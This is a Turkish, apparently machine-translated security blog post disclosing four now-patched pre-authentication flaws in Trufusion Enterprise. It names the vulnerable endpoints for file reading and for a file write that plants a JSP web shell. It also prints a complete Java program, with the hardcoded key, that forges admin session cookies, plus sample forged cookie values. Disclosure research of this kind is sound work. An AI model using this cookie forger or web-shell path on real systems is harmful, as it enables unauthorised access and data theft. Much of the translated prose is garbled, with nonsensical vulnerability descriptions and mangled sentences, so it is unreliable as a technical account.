Denetimler Başarısız Olduğunda: Trufusion Enterprise’da Dört Kritik Auth Öncesi Güvenlik Açıklığı


2025’in başlarında, son derece hassas verileri aktarmak için kullanılan müşterilerimizden birinin çevresinde Trufusion Enterprise adlı kritik bir yazılım bileşeniyle karşılaştık. Rocket Software, düzenli denetimler yaptıklarını ve ayrıca güvenli kodlama yönergelerini takip ettiklerini iddia ettiğinden, çok fazla şey bulmayı beklemedik, ancak sürprizimize göre, bize yönetici hakları veren ilk tamamen sofistike, ancak kritik önleme öncesi yol geçirme kırılganlığını keşfetmek sadece iki dakika sürdü. Bundan sonra, satıcının güvenlik standartları tarafından yakalanması gereken çok daha fazla sömürülebilir güvenlik açıklarıydı. Hepsi sömürmek için önemsizdir ve hiç kimlik doğrulamasına ihtiyaç duymazlar:

  • CVE-2025-27222: Hassas net metin şifrelerini açıklayan yerel sunucu dosyalarını sızdırmaya izin veren ön-havalı yol geçişi
  • CVE-2025-27223: Sabit kodlu kriptografik anahtar, kimlik doğrulamasını tamamen atlamak için kullanılabilecek oturum çerezlerini dövmeye izin veren
  • CVE-2025-27224: Komutların uzaktan yürütülmesine izin veren Auth Öncesi Yol Traversal ve Rasgele Dosya Yazımı
  • CVE-2025-27225: PII’nin (Ortak ve İletişim Adları) Hassas Bilgiler Öncesi Bilgi Öncesi Bilgiler Açıklanması

Bugün itibariyle satıcı, güvenlik açıklarını ele almak için etkilenen tüm Trufusion Enterprise sürümleri için güncellemeler yayınladı. Sürüm ayrıntıları için resmi güvenlik tavsiyelerimizi inceleyin.

CVE-2025-27222: Yol Traversal FTW Bölüm 1

Bu muhtemelen en kolay hatalardan biri ve herhangi bir denetçi tarafından yakalanmış olmalı. Trufusion Enterprise’ın başlangıç ​​sayfasını açtık ve hemen son noktaya karşı bir istek gördük /trufusionPortal/getCobrandingData. Bu uç nokta, açılış sayfası için sadece bir tür görüntü döndürmeyi amaçlamaktadır. Bununla birlikte, yol geçirme dizileri ekleyebilirsiniz. cobrandingImageName daha sonra yerel dosya sisteminden geçip web sunucusunun kullanıcısı tarafından okunabilen herhangi bir dosyayı okumak için kullanılabilen parametre. Dosyanın içeriği daha sonra Base64 kodlamasında döndürülür. Bu yolda, IE’nin Apache sunucusunun erişim günlüklerini okumak mümkün oldu:

Apache erişim günlüklerini incelerken, Trufusion’ın GET parametreleri yoluyla kimlik doğrulama jetonlarını kabul eden birçok uç noktaya sahip olduğunu fark ettik. Her zaman günlük dosyalarında saklandığı için müşterilere kimlik doğrulama jetonlarını GET yoluyla aktarmamalarını tavsiye etsek de, bu özel durum kritik bir güvenlik açığına yol açabileceğini kanıtladı. Bu durumda, basitçe kullanabiliriz AuthenticationToken esas olarak /portalhome/ uç nokta ve bize kullanıcı arayüzüne tam idari erişim sağladı.

CVE-2025-27223: Bazı taze kurabiyeler pişirelim!

Bu aslında günümüzde düzenli olarak karşılaşmadığımız bir hata sınıfıdır, çünkü çoğu uygulama oturum kimlikleri oluşturmak için kriptografik olarak güvenli kütüphanelere güvenmektedir. Ancak, Trufusion Enterprise’ın işleri farklı yaptığı ortaya çıkıyor. Trufusion, denilen iki çerez kullanır COOKIEID Ve ADMINCOOKIEID. Bunları oluşturmak için Trufusion, sert kodlanmış statik fikir anahtarını kullanır 1234567890123456 Kimlik doğrulama çerezini şifrelemek için. Bu yeterince ilginç olsa da, oturum çerezlerini oluşturmak için yalnızca kullanıcının (sayısal) kimliğini şifrelerler, bu da aynı COOKIEID karşısında tekrar kullanılabilir Tümü Trufusion örnekleri.

İşte herhangi bir kullanıcı kimliği için oturum çerezlerini şifrelemek ve şifresini çözmek için kullanılabilecek küçük bir Java uygulaması:

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
    private String ideaKey = "1234567890123456";

    public String encode(char[] plainArray) {
        return encode(new String(plainArray));
    }

    public String encode(String plain) {
        IDEAKeyGenerator keygen = new IDEAKeyGenerator();
        IDEA encrypt = new IDEA();

        Key key;
        try {
            key = keygen.generateKey(this.ideaKey.getBytes());
            encrypt.initEncrypt(key);
        } catch (KeyException e) {
            e.printStackTrace();
            return null;
        }

        if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
            for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt
                    .getInputBlockSize(); currentPad++) {
                plain = plain + " ";
            }
        }
        byte[] encrypted = encrypt.update(plain.getBytes());
        return Hex.toString(encrypted);

    }

    public String decode(String chiffre) {
        IDEAKeyGenerator keygen = new IDEAKeyGenerator();
        IDEA decrypt = new IDEA();

        Key key;
        try {
            key = keygen.generateKey(this.ideaKey.getBytes());
            decrypt.initDecrypt(key);
        } catch (KeyException e) {
            e.printStackTrace();
            return null;
        }

        byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
        String str1;
        try {
            str1 = new String(decrypted, "ISO_8859-1");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return null;
        }
        String res = str1.trim();
        return res;

    }

    public void setKey(String key) {
        this.ideaKey = key;
    }

    public static void main(String[] args) {
        if (args.length >= 1 && args.length <= 2) {
            try {
                App chiffre = new App();
                if (args.length == 2 && args[1].equalsIgnoreCase("decode")) {
                    String decrypted = chiffre.decode(args[0]);
                    System.out.println(decrypted);
                } else {
                    String encrypted = chiffre.encode(args[0]);
                    System.out.println(encrypted);
                }
                return;
            } catch (Throwable t) {
                t.printStackTrace();
                return;
            }
        }
        System.out.println("Usage:  [encode|decode]");
    }
}

Yani kullanıcı 1 için kimlik doğrulama çerezi: fef2df1c36fff2e3,

Kullanıcı 2: 94A0D199D8B822AB vb. İçin

CVE-2025-27224: Path Traversal FTW Bölüm 2

Başka bir uç nokta, başka bir Auth Öncesi Yol geçiş güvenlik açığı, ancak bu sefer keyfi bir dosya yazma ile birlikte. Jackpot. Uç nokta /trufusionPortal/fileupload Gzip’ed istek gövdesi olarak yazmak istediğiniz dosya içeriğini vereceğiniz tipik bir dosya yükleme uç noktasıdır – Hackvertor Burpsuite uzantısına sahne, sömürüyü önemsiz hale getirir.

Heyecan verici kısım, token Ve file Dosyanın uzak dosya sistemine kaydedileceği yolu oluşturmak için parametreler. İçinde bir yol geçişi ile eşleştirildi token Parametre, Web Server kullanıcısının erişebileceği dosya sisteminin herhangi bir yerinde herhangi bir içerikle herhangi bir dosyanın yazılmasına izin verir. Trufusion’ın web portal yoluna yönlendirebilirsiniz. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/:

Süslü kabuğunuz daha sonra erişilebilir /trufusionPortal/jsp/1~rcesec.jsp:

CVE-2025-27225: Masif PII açıklaması

Yakalanması kolay bir avukatlık güvenlik açığı, son noktayı etkiler. /trufusionPortal/jsp/internal_admin_contact_login.jsp. Bu uç nokta, Trufusion örneğine erişimi olan tüm ortakları içeren büyük bir PII listesi döndürür:

Ve onların temasları:

Çözüm

Bu blog yazısında, son derece hassas dosyaları aktarmak için tasarlanmış bir yazılım çözümünü inceledik: satıcının iddia ettiği bir ürün düzenli iç ve harici denetimlere uğradığı ve ayrıca güvenli kodlama yönergelerini takip ettiği. Normalde, bu denetimler güvenlik açıklarının keşfini önemli ölçüde daha zorlaştırmalı ve çoğu durumda bu varsayım doğrudur. Bununla birlikte, bulgularımız bu durumda denetimlerin en azından etkisiz olduğunu göstermektedir.

Karşılaştığımız bir diğer önemli zorluk da güvenlik açığı koordinasyon süreciydi. Satıcı, ödenmemiş bir güvenlik açığı açıklama programı (VDP) çalıştırsa da, güvenlik raporlarını ele almak için olgun ve iyi tanımlanmış bir sürece sahip olmaları beklenebilir. Bunun yerine, danışmanlık zaman çizelgelerimize yansıtıldığı gibi, koordinasyon süreci tekrarlanan ileri geri iletişim ve birkaç göz ardı edilen mesajla işaretlendi.

Bu, önemli bir paket servisi vurgular: Etkili yazılım güvenliği sadece denetimler değil, aynı zamanda deneyimli profesyoneller tarafından yürütülen hedeflenen penetrasyon testini gerektirir. RCE Security olarak, müşterilerimizin riski azaltmasına, esnekliği artırmasına ve gelişen siber tehditlerin önünde kalmasına yardımcı olmak için eyleme geçirilebilir sıfır gün araştırması sunmaya öncelik veriyoruz.



Source link